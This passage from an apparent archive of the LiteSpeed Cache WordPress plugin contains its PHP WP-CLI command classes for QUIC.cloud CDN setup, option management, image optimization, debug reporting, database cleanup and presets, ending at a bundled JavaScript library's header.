	 * ## OPTIONS
	 *
	 * [--method=<method>]
	 * : The method to use (e.g., cname, ns, cfi).
	 *
	 * [--ssl-cert=<cert>]
	 * : Path to SSL certificate.
	 *
	 * [--ssl-key=<key>]
	 * : Path to SSL key.
	 *
	 * [--cf-token=<token>]
	 * : Cloudflare token for CFI method.
	 *
	 * [--format=<format>]
	 * : Output format (e.g., json).
	 *
	 * ## EXAMPLES
	 *
	 *     # Activate domain CDN on QUIC.cloud (support --format=json)
	 *     $ wp litespeed-online cdn_init --method=cname|ns
	 *     $ wp litespeed-online cdn_init --method=cname|ns --ssl-cert=xxx.pem --ssl-key=xxx
	 *     $ wp litespeed-online cdn_init --method=cfi --cf-token=xxxxxxxx
	 *     $ wp litespeed-online cdn_init --method=cfi --cf-token=xxxxxxxx  --ssl-cert=xxx.pem --ssl-key=xxx
	 *
	 * @param array $args Positional arguments.
	 * @param array $assoc_args Associative arguments.
	 */
	public function cdn_init( $args, $assoc_args ) {
		if ( empty( $assoc_args['method'] ) ) {
			WP_CLI::error( 'Init CDN failed! Missing parameters `--method`.' );
			return;
		}
		if ( ( ! empty( $assoc_args['ssl-cert'] ) && empty( $assoc_args['ssl-key'] ) ) || ( empty( $assoc_args['ssl-cert'] ) && ! empty( $assoc_args['ssl-key'] ) ) ) {
			WP_CLI::error( 'Init CDN failed! SSL cert must be present together w/ SSL key.' );
			return;
		}

		if ( 'cfi' === $assoc_args['method'] && empty( $assoc_args['cf-token'] ) ) {
			WP_CLI::error( 'Init CDN failed! CFI must set `--cf-token`.' );
			return;
		}

		$cert     = ! empty( $assoc_args['ssl-cert'] ) ? $assoc_args['ssl-cert'] : '';
		$key      = ! empty( $assoc_args['ssl-key'] ) ? $assoc_args['ssl-key'] : '';
		$cf_token = ! empty( $assoc_args['cf-token'] ) ? $assoc_args['cf-token'] : '';

		$resp = $this->cloud->init_qc_cdn_cli( $assoc_args['method'], $cert, $key, $cf_token );
		if ( ! empty( $resp['qc_activated'] ) ) {
			$main_domain = ! empty( $resp['main_domain'] ) ? $resp['main_domain'] : false;
			$this->cloud->update_qc_activation( $resp['qc_activated'], $main_domain, true );
		}
		if ( ! empty( $assoc_args['format'] ) && 'json' === $assoc_args['format'] ) {
			WP_CLI::log( wp_json_encode( $resp ) );
			return;
		}
		if ( ! empty( $resp['qc_activated'] ) ) {
			WP_CLI::success( 'Init QC CDN successfully. Activated type: ' . $resp['qc_activated'] );
		} else {
			WP_CLI::error( 'Init QC CDN failed!' );
		}

		if ( ! empty( $resp['cname'] ) ) {
			WP_CLI::success( 'cname: ' . $resp['cname'] );
		}
		if ( ! empty( $resp['msgs'] ) ) {
			WP_CLI::success( 'msgs: ' . wp_json_encode( $resp['msgs'] ) );
		}
	}

	/**
	 * Link user account by api key
	 *
	 * ## OPTIONS
	 *
	 * [--email=<email>]
	 * : User email for QUIC.cloud account.
	 *
	 * [--api-key=<key>]
	 * : API key for QUIC.cloud account.
	 *
	 * ## EXAMPLES
	 *
	 *     # Link user account by api key
	 *     $ wp litespeed-online link --email=xxx@example.com --api-key=xxxx
	 *
	 * @param array $args Positional arguments.
	 * @param array $assoc_args Associative arguments.
	 */
	public function link( $args, $assoc_args ) {
		if ( empty( $assoc_args['email'] ) || empty( $assoc_args['api-key'] ) ) {
			WP_CLI::error( 'Link to QUIC.cloud failed! Missing parameters `--email` or `--api-key`.' );
			return;
		}

		$resp = $this->cloud->link_qc_cli( $assoc_args['email'], $assoc_args['api-key'] );
		if ( ! empty( $resp['qc_activated'] ) ) {
			$main_domain = ! empty( $resp['main_domain'] ) ? $resp['main_domain'] : false;
			$this->cloud->update_qc_activation( $resp['qc_activated'], $main_domain, true );
			WP_CLI::success( 'Link successfully!' );
			WP_CLI::log( wp_json_encode( $resp ) );
		} else {
			WP_CLI::error( 'Link failed!' );
		}
	}

	/**
	 * Sync usage data from QUIC.cloud
	 *
	 * ## OPTIONS
	 *
	 * [--format=<format>]
	 * : Output format (e.g., json).
	 *
	 * ## EXAMPLES
	 *
	 *     # Sync QUIC.cloud service usage info
	 *     $ wp litespeed-online sync
	 *
	 * @param array $args Positional arguments.
	 * @param array $assoc_args Associative arguments.
	 */
	public function sync( $args, $assoc_args ) {
		$json = $this->cloud->sync_usage();

		if ( ! empty( $assoc_args['format'] ) ) {
			WP_CLI::print_value( $json, $assoc_args );
			return;
		}

		WP_CLI::success( 'Sync successfully' );

		$list = array();
		foreach ( Cloud::$services as $v ) {
			$list[] = array(
				'key' => $v,
				'used' => ! empty( $json['usage.' . $v]['used'] ) ? $json['usage.' . $v]['used'] : 0,
				'quota' => ! empty( $json['usage.' . $v]['quota'] ) ? $json['usage.' . $v]['quota'] : 0,
				'PayAsYouGo_Used' => ! empty( $json['usage.' . $v]['pag_used'] ) ? $json['usage.' . $v]['pag_used'] : 0,
				'PayAsYouGo_Balance' => ! empty( $json['usage.' . $v]['pag_bal'] ) ? $json['usage.' . $v]['pag_bal'] : 0,
			);
		}

		WP_CLI\Utils\format_items( 'table', $list, array( 'key', 'used', 'quota', 'PayAsYouGo_Used', 'PayAsYouGo_Balance' ) );
	}

	/**
	 * Check QC account status
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Check QC account status
	 *     $ wp litespeed-online cdn_status
	 */
	public function cdn_status() {
		$resp = $this->cloud->cdn_status_cli();
		WP_CLI::log( wp_json_encode( $resp ) );
	}

	/**
	 * List all QUIC.cloud services
	 *
	 * ## OPTIONS
	 *
	 * [--format=<format>]
	 * : Output format (e.g., json).
	 *
	 * ## EXAMPLES
	 *
	 *     # List all services tag
	 *     $ wp litespeed-online services
	 *
	 * @param array $args Positional arguments.
	 * @param array $assoc_args Associative arguments.
	 */
	public function services( $args, $assoc_args ) {
		if ( ! empty( $assoc_args['format'] ) ) {
			WP_CLI::print_value( Cloud::$services, $assoc_args );
			return;
		}

		$list = array();
		foreach ( Cloud::$services as $v ) {
			$list[] = array(
				'service' => $v,
			);
		}

		WP_CLI\Utils\format_items( 'table', $list, array( 'service' ) );
	}

	/**
	 * List all QUIC.cloud servers in use
	 *
	 * ## OPTIONS
	 *
	 * [--format=<format>]
	 * : Output format (e.g., json).
	 *
	 * ## EXAMPLES
	 *
	 *     # List all QUIC.cloud servers in use
	 *     $ wp litespeed-online nodes
	 *
	 * @param array $args Positional arguments.
	 * @param array $assoc_args Associative arguments.
	 */
	public function nodes( $args, $assoc_args ) {
		$json = Cloud::get_summary();

		$list        = array();
		$json_output = array();
		foreach ( Cloud::$services as $v ) {
			$server        = ! empty( $json['server.' . $v] ) ? $json['server.' . $v] : '';
			$list[]        = array(
				'service' => $v,
				'server' => $server,
			);
			$json_output[] = array( $v => $server );
		}

		if ( ! empty( $assoc_args['format'] ) ) {
			WP_CLI::print_value( $json_output, $assoc_args );
			return;
		}

		WP_CLI\Utils\format_items( 'table', $list, array( 'service', 'server' ) );
	}

	/**
	 * Detect closest node server for current service
	 *
	 * ## OPTIONS
	 *
	 * [<service>]
	 * : Service to ping (e.g., img_optm).
	 *
	 * [--force]
	 * : Force detection of the closest server.
	 *
	 * ## EXAMPLES
	 *
	 *     # Detect closest node for one service
	 *     $ wp litespeed-online ping img_optm
	 *     $ wp litespeed-online ping img_optm --force
	 *
	 * @param array $param Positional arguments (service).
	 * @param array $assoc_args Associative arguments.
	 */
	public function ping( $param, $assoc_args ) {
		$svc   = $param[0];
		$force = ! empty( $assoc_args['force'] );

		$json = $this->cloud->detect_cloud( $svc, $force );
		if ( $json ) {
			WP_CLI::success( 'Updated closest server.' );
		}
		WP_CLI::log( 'svc = ' . $svc );
		WP_CLI::log( 'node = ' . ( $json ? $json : '-' ) );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/cli/option.cls.php000064400000024074151031165260017646 0ustar00<?php
/**
 * LiteSpeed Cache option Interface CLI.
 *
 * @package LiteSpeed\CLI
 */

namespace LiteSpeed\CLI;

defined( 'WPINC' ) || exit();

use LiteSpeed\Base;
use LiteSpeed\Admin_Settings;
use LiteSpeed\Utility;
use WP_CLI;
use WP_Filesystem;

/**
 * LiteSpeed Cache option Interface
 */
class Option extends Base {

	/**
	 * Set an individual LiteSpeed Cache option.
	 *
	 * ## OPTIONS
	 *
	 * <key>
	 * : The option key to update.
	 *
	 * <newvalue>
	 * : The new value to set the option to.
	 *
	 * ## EXAMPLES
	 *
	 *     # Set to not cache the login page
	 *     $ wp litespeed-option set cache-priv false
	 *     $ wp litespeed-option set 'cdn-mapping[url][0]' https://cdn.EXAMPLE.com
	 *     $ wp litespeed-option set media-lqip_exc $'line1\nline2'
	 *
	 * @param array $args Positional arguments (key, newvalue).
	 * @param array $assoc_args Associative arguments.
	 */
	public function set( $args, $assoc_args ) {
		// Note: If the value is multiple dimensions like cdn-mapping, need to specially handle it both here and in `const.default.json`
		// For CDN/Crawler multi dimension settings, if all children are empty in one line, will delete that line. To delete one line, just set all to empty.
		// E.g. to delete cdn-mapping[0], need to run below:
		// `set cdn-mapping[url][0] ''`
		// `set cdn-mapping[inc_img][0] ''`
		// `set cdn-mapping[inc_css][0] ''`
		// `set cdn-mapping[inc_js][0] ''`
		// `set cdn-mapping[filetype][0] ''`

		$key = $args[0];
		$val = $args[1];

		// For CDN mapping, allow:
		// `set 'cdn-mapping[url][0]' https://the1st_cdn_url`
		// `set 'cdn-mapping[inc_img][0]' true`
		// `set 'cdn-mapping[inc_img][0]' 1`
		//
		// For Crawler cookies:
		// `set 'crawler-cookies[name][0]' my_currency`
		// `set 'crawler-cookies[vals][0]' "USD\nTWD"`
		//
		// For multi lines setting:
		// `set media-lqip_exc $'img1.jpg\nimg2.jpg'`

		// Build raw data
		$raw_data = array(
			Admin_Settings::ENROLL => array( $key ),
		);

		// Contains child set
		if ( false !== strpos( $key, '[' ) ) {
			parse_str( $key . '=' . $val, $key2 );
			$raw_data = array_merge( $raw_data, $key2 );
		} else {
			$raw_data[ $key ] = $val;
		}

		$this->cls( 'Admin_Settings' )->save( $raw_data );
		WP_CLI::line( "$key:" );
		$this->get( $args, $assoc_args );
	}

	/**
	 * Get all plugin options.
	 *
	 * ## OPTIONS
	 *
	 * [--format=<format>]
	 * : Output format (e.g., json).
	 *
	 * ## EXAMPLES
	 *
	 *     # Get all options
	 *     $ wp litespeed-option all
	 *     $ wp litespeed-option all --json
	 *
	 * @param array $args Positional arguments.
	 * @param array $assoc_args Associative arguments.
	 */
	public function all( $args, $assoc_args ) {
		$options = $this->get_options();

		if ( ! empty( $assoc_args['format'] ) ) {
			WP_CLI::print_value( $options, $assoc_args );
			return;
		}

		$option_out = array();

		$buf = WP_CLI::colorize( '%CThe list of options:%n' );
		WP_CLI::line( $buf );

		foreach ( $options as $k => $v ) {
			if ( self::O_CDN_MAPPING === $k || self::O_CRAWLER_COOKIES === $k ) {
				foreach ( $v as $k2 => $v2 ) {
					// $k2 is numeric
					if ( is_array( $v2 ) ) {
						foreach ( $v2 as $k3 => $v3 ) {
							// $k3 is 'url/inc_img/name/vals'
							if ( is_array( $v3 ) ) {
								$option_out[] = array(
									'key'   => '',
									'value' => '',
								);
								foreach ( $v3 as $k4 => $v4 ) {
									$option_out[] = array(
										'key'   => 0 === $k4 ? "{$k}[$k3][$k2]" : '',
										'value' => $v4,
									);
								}
								$option_out[] = array(
									'key'   => '',
									'value' => '',
								);
							} else {
								$option_out[] = array(
									'key'   => "{$k}[$k3][$k2]",
									'value' => $v3,
								);
							}
						}
					}
				}
				continue;
			} elseif ( is_array( $v ) && $v ) {
				$option_out[] = array(
					'key'   => '',
					'value' => '',
				);
				foreach ( $v as $k2 => $v2 ) {
					$option_out[] = array(
						'key'   => 0 === $k2 ? $k : '',
						'value' => $v2,
					);
				}
				$option_out[] = array(
					'key'   => '',
					'value' => '',
				);
				continue;
			}

			if ( array_key_exists( $k, self::$_default_options ) && is_bool( self::$_default_options[ $k ] ) && ! $v ) {
				$v = 0;
			}

			if ( '' === $v || array() === $v ) {
				$v = "''";
			}

			$option_out[] = array(
				'key'   => $k,
				'value' => $v,
			);
		}

		WP_CLI\Utils\format_items( 'table', $option_out, array( 'key', 'value' ) );
	}

	/**
	 * Get a specific plugin option.
	 *
	 * ## OPTIONS
	 *
	 * <id>
	 * : The option ID to retrieve (e.g., cache-priv, cdn-mapping[url][0]).
	 *
	 * ## EXAMPLES
	 *
	 *     # Get one option
	 *     $ wp litespeed-option get cache-priv
	 *     $ wp litespeed-option get 'cdn-mapping[url][0]'
	 *
	 * @param array $args Positional arguments (id).
	 * @param array $assoc_args Associative arguments.
	 */
	public function get( $args, $assoc_args ) {
		$id = $args[0];

		$child = false;
		if ( false !== strpos( $id, '[' ) ) {
			parse_str( $id, $id2 );
			Utility::compatibility();
			$id = array_key_first( $id2 );

			$child = array_key_first( $id2[ $id ] ); // is `url`
			if ( ! $child ) {
				WP_CLI::error( 'Wrong child key' );
				return;
			}
			$numeric = array_key_first( $id2[ $id ][ $child ] ); // `0`
			if ( null === $numeric ) {
				WP_CLI::error( 'Wrong 2nd level numeric key' );
				return;
			}
		}

		if ( ! isset( self::$_default_options[ $id ] ) ) {
			WP_CLI::error( 'ID not exist [id] ' . $id );
			return;
		}

		$v         = $this->conf( $id );
		$default_v = self::$_default_options[ $id ];

		// For CDN_mapping and crawler_cookies
		// Examples of option name:
		// cdn-mapping[url][0]
		// crawler-cookies[name][1]
		if ( self::O_CDN_MAPPING === $id ) {
			if ( ! in_array( $child, array( self::CDN_MAPPING_URL, self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS, self::CDN_MAPPING_FILETYPE ), true ) ) {
				WP_CLI::error( 'Wrong child key' );
				return;
			}
		}
		if ( self::O_CRAWLER_COOKIES === $id ) {
			if ( ! in_array( $child, array( self::CRWL_COOKIE_NAME, self::CRWL_COOKIE_VALS ), true ) ) {
				WP_CLI::error( 'Wrong child key' );
				return;
			}
		}

		if ( self::O_CDN_MAPPING === $id || self::O_CRAWLER_COOKIES === $id ) {
			if ( ! empty( $v[ $numeric ][ $child ] ) ) {
				$v = $v[ $numeric ][ $child ];
			} elseif ( self::O_CDN_MAPPING === $id ) {
				if ( in_array( $child, array( self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS ), true ) ) {
					$v = 0;
				} else {
					$v = "''";
				}
			} else {
				$v = "''";
			}
		}

		if ( is_array( $v ) ) {
			$v = implode( PHP_EOL, $v );
		}

		if ( ! $v && self::O_CDN_MAPPING !== $id && self::O_CRAWLER_COOKIES !== $id ) {
			// empty array for CDN/crawler has been handled
			if ( is_bool( $default_v ) ) {
				$v = 0;
			} elseif ( ! is_array( $default_v ) ) {
				$v = "''";
			}
		}

		WP_CLI::line( $v );
	}

	/**
	 * Export plugin options to a file.
	 *
	 * ## OPTIONS
	 *
	 * [--filename=<path>]
	 * : The default path used is CURRENTDIR/lscache_wp_options_DATE-TIME.txt.
	 * To select a different file, use this option.
	 *
	 * ## EXAMPLES
	 *
	 *     # Export options to a file.
	 *     $ wp litespeed-option export
	 *
	 * @param array $args Positional arguments.
	 * @param array $assoc_args Associative arguments.
	 */
	public function export( $args, $assoc_args ) {
		if ( isset( $assoc_args['filename'] ) ) {
			$file = $assoc_args['filename'];
		} else {
			$file = getcwd() . '/litespeed_options_' . gmdate( 'd_m_Y-His' ) . '.data';
		}

		global $wp_filesystem;
		if ( ! $wp_filesystem ) {
			require_once ABSPATH . '/wp-admin/includes/file.php';
			WP_Filesystem();
		}

		if ( ! $wp_filesystem->is_writable( dirname( $file ) ) ) {
			WP_CLI::error( 'Directory not writable.' );
			return;
		}

		$data = $this->cls( 'Import' )->export( true );

		if ( false === $wp_filesystem->put_contents( $file, $data ) ) {
			WP_CLI::error( 'Failed to create file.' );
			return;
		}

		WP_CLI::success( 'Created file ' . $file );
	}

	/**
	 * Import plugin options from a file.
	 *
	 * The file must be formatted as such:
	 * option_key=option_value
	 * One per line.
	 * A semicolon at the beginning of the line indicates a comment and will be skipped.
	 *
	 * ## OPTIONS
	 *
	 * <file>
	 * : The file to import options from.
	 *
	 * ## EXAMPLES
	 *
	 *     # Import options from CURRENTDIR/options.txt
	 *     $ wp litespeed-option import options.txt
	 *
	 * @param array $args Positional arguments (file).
	 * @param array $assoc_args Associative arguments.
	 */
	public function import( $args, $assoc_args ) {
		$file = $args[0];

		global $wp_filesystem;
		if ( ! $wp_filesystem ) {
			require_once ABSPATH . '/wp-admin/includes/file.php';
			WP_Filesystem();
		}

		if ( ! $wp_filesystem->exists( $file ) || ! $wp_filesystem->is_readable( $file ) ) {
			WP_CLI::error( 'File does not exist or is not readable.' );
			return;
		}

		$res = $this->cls( 'Import' )->import( $file );

		if ( ! $res ) {
			WP_CLI::error( 'Failed to parse serialized data from file.' );
			return;
		}

		WP_CLI::success( 'Options imported. [File] ' . $file );
	}

	/**
	 * Import plugin options from a remote file.
	 *
	 * The file must be formatted as such:
	 * option_key=option_value
	 * One per line.
	 * A semicolon at the beginning of the line indicates a comment and will be skipped.
	 *
	 * ## OPTIONS
	 *
	 * <url>
	 * : The URL to import options from.
	 *
	 * ## EXAMPLES
	 *
	 *     # Import options from https://domain.com/options.txt
	 *     $ wp litespeed-option import_remote https://domain.com/options.txt
	 *
	 * @param array $args Positional arguments (url).
	 */
	public function import_remote( $args ) {
		$file = $args[0];

		$tmp_file = download_url( $file );

		if ( is_wp_error( $tmp_file ) ) {
			WP_CLI::error( 'Failed to download file.' );
			return;
		}

		$res = $this->cls( 'Import' )->import( $tmp_file );

		if ( ! $res ) {
			WP_CLI::error( 'Failed to parse serialized data from file.' );
			return;
		}

		WP_CLI::success( 'Options imported. [File] ' . $file );
	}

	/**
	 * Reset all options to default.
	 *
	 * ## EXAMPLES
	 *
	 *     # Reset all options
	 *     $ wp litespeed-option reset
	 */
	public function reset() {
		$this->cls( 'Import' )->reset();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/cli/image.cls.php000064400000007274151031165260017423 0ustar00<?php
/**
 * Image Optimization API CLI for LiteSpeed integration.
 *
 * @package LiteSpeed\CLI
 */

namespace LiteSpeed\CLI;

defined( 'WPINC' ) || exit();

use LiteSpeed\Lang;
use LiteSpeed\Debug2;
use LiteSpeed\Img_Optm;
use LiteSpeed\Utility;
use WP_CLI;

/**
 * Image Optimization API CLI
 */
class Image {

	/**
	 * Image optimization instance.
	 *
	 * @var Img_Optm
	 */
	private $img_optm;

	/**
	 * Constructor for Image CLI.
	 */
	public function __construct() {
		Debug2::debug( 'CLI_Cloud init' );

		$this->img_optm = Img_Optm::cls();
	}

	/**
	 * Batch toggle optimized images with original images.
	 *
	 * ## OPTIONS
	 *
	 * [<type>]
	 * : Type to switch to (orig or optm).
	 *
	 * ## EXAMPLES
	 *
	 *     # Switch to original images
	 *     $ wp litespeed-image batch_switch orig
	 *
	 *     # Switch to optimized images
	 *     $ wp litespeed-image batch_switch optm
	 *
	 * @param array $param Positional arguments (type).
	 */
	public function batch_switch( $param ) {
		$type = $param[0];
		$this->img_optm->batch_switch( $type );
	}

	/**
	 * Send image optimization request to QUIC.cloud server.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Send image optimization request
	 *     $ wp litespeed-image push
	 */
	public function push() {
		$this->img_optm->new_req();
	}

	/**
	 * Pull optimized images from QUIC.cloud server.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Pull images back from cloud
	 *     $ wp litespeed-image pull
	 */
	public function pull() {
		$this->img_optm->pull( true );
	}

	/**
	 * Show optimization status based on local data (alias for status).
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Show optimization status
	 *     $ wp litespeed-image s
	 */
	public function s() {
		$this->status();
	}

	/**
	 * Show optimization status based on local data.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Show optimization status
	 *     $ wp litespeed-image status
	 */
	public function status() {
		$summary   = Img_Optm::get_summary();
		$img_count = $this->img_optm->img_count();
		foreach ( Lang::img_status() as $k => $v ) {
			if ( isset( $img_count["img.$k"] ) ) {
				$img_count["$v - images"] = $img_count["img.$k"];
				unset( $img_count["img.$k"] );
			}
			if ( isset( $img_count["group.$k"] ) ) {
				$img_count["$v - groups"] = $img_count["group.$k"];
				unset( $img_count["group.$k"] );
			}
		}

		foreach ( array( 'reduced', 'reduced_webp', 'reduced_avif' ) as $v ) {
			if ( ! empty( $summary[$v] ) ) {
				$summary[$v] = Utility::real_size( $summary[$v] );
			}
		}

		if ( ! empty( $summary['last_requested'] ) ) {
			$summary['last_requested'] = gmdate( 'm/d/y H:i:s', $summary['last_requested'] );
		}

		$list = array();
		foreach ( $summary as $k => $v ) {
			$list[] = array(
				'key'   => $k,
				'value' => $v,
			);
		}

		$list2 = array();
		foreach ( $img_count as $k => $v ) {
			if ( ! $v ) {
				continue;
			}
			$list2[] = array(
				'key'   => $k,
				'value' => $v,
			);
		}

		WP_CLI\Utils\format_items( 'table', $list, array( 'key', 'value' ) );

		WP_CLI::line( WP_CLI::colorize( '%CImages in database summary:%n' ) );
		WP_CLI\Utils\format_items( 'table', $list2, array( 'key', 'value' ) );
	}

	/**
	 * Clean up unfinished image data from QUIC.cloud server.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Clean up unfinished requests
	 *     $ wp litespeed-image clean
	 */
	public function clean() {
		$this->img_optm->clean();

		WP_CLI::line( WP_CLI::colorize( '%CLatest status:%n' ) );

		$this->status();
	}

	/**
	 * Remove original image backups.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Remove original image backups
	 *     $ wp litespeed-image rm_bkup
	 */
	public function rm_bkup() {
		$this->img_optm->rm_bkup();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/cli/debug.cls.php000064400000001316151031165260017416 0ustar00<?php
/**
 * Debug API CLI for LiteSpeed integration.
 *
 * @package LiteSpeed\CLI
 */

namespace LiteSpeed\CLI;

defined( 'WPINC' ) || exit();

use LiteSpeed\Debug2;
use LiteSpeed\Report;
use WP_CLI;

/**
 * Debug API CLI
 */
class Debug {

	/**
	 * Report instance.
	 *
	 * @var Report
	 */
	private $report;

	/**
	 * Constructor for Debug CLI.
	 */
	public function __construct() {
		Debug2::debug( 'CLI_Debug init' );

		$this->report = Report::cls();
	}

	/**
	 * Send report
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Send env report to LiteSpeed
	 *     $ wp litespeed-debug send
	 */
	public function send() {
		$num = $this->report->post_env();
		WP_CLI::success( 'Report Number = ' . $num );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/cli/database.cls.php000064400000011723151031165260020077 0ustar00<?php
/**
 * LiteSpeed CLI - database cleanup
 *
 * Add CLI database cleanup commands.
 *
 * @package LiteSpeed
 * @since 7.3
 */

namespace LiteSpeed\CLI;

defined('WPINC') || exit();

use LiteSpeed\Debug2;
use LiteSpeed\DB_Optm;
use WP_CLI;

/**
 * LiteSpeed Cache Database CLI
 */
class Database {
	/**
	 * Current blog id the optimization is working on.
	 *
	 * @var int|false $current_blog Current blog id.
	 */
	private $current_blog = false;
	/**
	 * Database class.
	 *
	 * @var DB_Optim $db Database class.
	 */
	private $db;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		Debug2::debug('CLI_Database init');

		$this->db = DB_Optm::cls();
	}

	/**
	 * List all site domains and ids on the network.
	 */
	public function network_list() {
		if ( !is_multisite() ) {
			WP_CLI::error('This is not a multisite installation!');

			return;
		}
		$buf = WP_CLI::colorize("%CThe list of installs:%n\n");

		$sites = get_sites();
		foreach ( $sites as $site ) {
			$buf .= WP_CLI::colorize( '%Y' . $site->domain . $site->path . ':%n ID ' . $site->blog_id ) . "\n";
		}

		WP_CLI::line($buf);
	}

	/**
	 * Change to blog sent as param.
	 *
	 * @param array $args Description.
	 */
	private function change_to_blog( $args ) {
		if ( !isset( $args[0] ) || 'blog' !== $args[0] ) {
			return;
		}

		$this->current_blog = get_current_blog_id();
		$blogid             = $args[1];
		if ( !is_numeric( $blogid ) ) {
			$error = WP_CLI::colorize( '%RError: invalid blog id entered.%n' );
			WP_CLI::line( $error );
			$this->network_list( $args );
			return;
		}
		$site = get_blog_details( $blogid );
		if ( false === $site ) {
			$error = WP_CLI::colorize( '%RError: invalid blog id entered.%n' );
			WP_CLI::line( $error );
			$this->network_list( $args );
			return;
		}
		switch_to_blog( $blogid );
	}

	/**
	 * Change to previous blog.
	 */
	private function change_to_default() {
		// Check if previous blog set.
		if ( $this->current_blog ) {
			switch_to_blog( $this->current_blog );
			// Switched to previous blog.
			$this->current_blog = false;
		}
	}

	/**
	 * Show CLI response.
	 *
	 * @param boolean $result Flag if result is success or failure.
	 * @param string  $action Action name.
	 */
	private function show_response( $result, $action ) {
		if ($result) {
			WP_CLI::success( $result );
		} else {
			WP_CLI::error( 'Error running optimization: ' . $action );
		}
	}

	/**
	 * Clean actions function.
	 *
	 * @param int   $args Action arguments.
	 * @param array $types What data to clean.
	 */
	private function clean_action( $args, $types ) {
		$this->change_to_blog( $args );
		foreach ( $types as $type ) {
			$result = $this->db->handler_clean_db_cli( $type );
			$this->show_response( $result, $type );
		}
		$this->change_to_default();
	}

	/**
	 * Clear posts data(revisions, orphaned, auto drafts, trashed posts).
	 *     # Start clearing posts data.
	 *     $ wp litespeed-database clear_posts
	 *     $ wp litespeed-database clear_posts blog 2
	 *
	 * @param string $args Action arguments.
	 */
	public function clear_posts( $args ) {
		$types = array(
			'revision',
			'orphaned_post_meta',
			'auto_draft',
			'trash_post',
		);
		$this->clean_action( $args, $types );
	}

	/**
	 * Clear comments(spam and trash comments).
	 *     # Start clearing comments.
	 *     $ wp litespeed-database clear_comments
	 *     $ wp litespeed-database clear_comments blog 2
	 *
	 * @param string $args Action arguments.
	 */
	public function clear_comments( $args ) {
		$types = array(
			'spam_comment',
			'trash_comment',
		);
		$this->clean_action( $args, $types );
	}

	/**
	 * Clear trackbacks/pingbacks.
	 *     # Start clearing trackbacks/pingbacks.
	 *     $ wp litespeed-database clear_trackbacks
	 *     $ wp litespeed-database clear_trackbacks blog 2
	 *
	 * @param string $args Action arguments.
	 */
	public function clear_trackbacks( $args ) {
		$types = array(
			'trackback-pingback',
		);
		$this->clean_action( $args, $types );
	}

	/**
	 * Clear transients.
	 *     # Start clearing transients.
	 *     $ wp litespeed-database clear_transients
	 *     $ wp litespeed-database clear_transients blog 2
	 *
	 * @param string $args Action arguments.
	 */
	public function clear_transients( $args ) {
		$types = array(
			'expired_transient',
			'all_transients',
		);
		$this->clean_action( $args, $types );
	}

	/**
	 * Optimize tables.
	 *     # Start optimizing tables.
	 *     $ wp litespeed-database optimize_tables
	 *     $ wp litespeed-database optimize_tables blog 2
	 *
	 * @param string $args Action arguments.
	 */
	public function optimize_tables( $args ) {
		$types = array(
			'optimize_tables',
		);
		$this->clean_action( $args, $types );
	}

	/**
	 * Optimize database by running all possible operations.
	 *     # Start optimizing all.
	 *     $ wp litespeed-database optimize_all
	 *     $ wp litespeed-database optimize_all blog 2
	 *
	 * @param string $args Action arguments.
	 */
	public function optimize_all( $args ) {
		$types = array(
			'all',
		);
		$this->clean_action( $args, $types );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/cli/presets.cls.php000064400000003516151031165260020021 0ustar00<?php
/**
 * Presets CLI for LiteSpeed Cache.
 *
 * @package LiteSpeed\CLI
 */

namespace LiteSpeed\CLI;

defined( 'WPINC' ) || exit();

use LiteSpeed\Debug2;
use LiteSpeed\Preset;
use WP_CLI;

/**
 * Presets CLI
 */
class Presets {

	/**
	 * Preset instance.
	 *
	 * @var Preset
	 */
	private $preset;

	/**
	 * Constructor for Presets CLI.
	 */
	public function __construct() {
		Debug2::debug( 'CLI_Presets init' );

		$this->preset = Preset::cls();
	}

	/**
	 * Applies a standard preset's settings.
	 *
	 * ## OPTIONS
	 *
	 * <preset>
	 * : The preset name to apply (e.g., basic).
	 *
	 * ## EXAMPLES
	 *
	 *     # Apply the preset called "basic"
	 *     $ wp litespeed-presets apply basic
	 *
	 * @param array $args Positional arguments (preset).
	 */
	public function apply( $args ) {
		$preset = $args[0];

		if ( empty( $preset ) ) {
			WP_CLI::error( 'Please specify a preset to apply.' );
			return;
		}

		return $this->preset->apply( $preset );
	}

	/**
	 * Returns sorted backup names.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Get all backups
	 *     $ wp litespeed-presets get_backups
	 */
	public function get_backups() {
		$backups = $this->preset->get_backups();

		foreach ( $backups as $backup ) {
			WP_CLI::line( $backup );
		}
	}

	/**
	 * Restores settings from the backup file with the given timestamp, then deletes the file.
	 *
	 * ## OPTIONS
	 *
	 * <timestamp>
	 * : The timestamp of the backup to restore.
	 *
	 * ## EXAMPLES
	 *
	 *     # Restore the backup with the timestamp 1667485245
	 *     $ wp litespeed-presets restore 1667485245
	 *
	 * @param array $args Positional arguments (timestamp).
	 */
	public function restore( $args ) {
		$timestamp = $args[0];

		if ( empty( $timestamp ) ) {
			WP_CLI::error( 'Please specify a timestamp to restore.' );
			return;
		}

		return $this->preset->restore( $timestamp );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/iziModal.min.js000064400000063232151031165260021103 0ustar00/*
* iziModal | v1.6.0
* https://izimodal.marcelodolza.com/
* by Marcelo Dolce.
*/
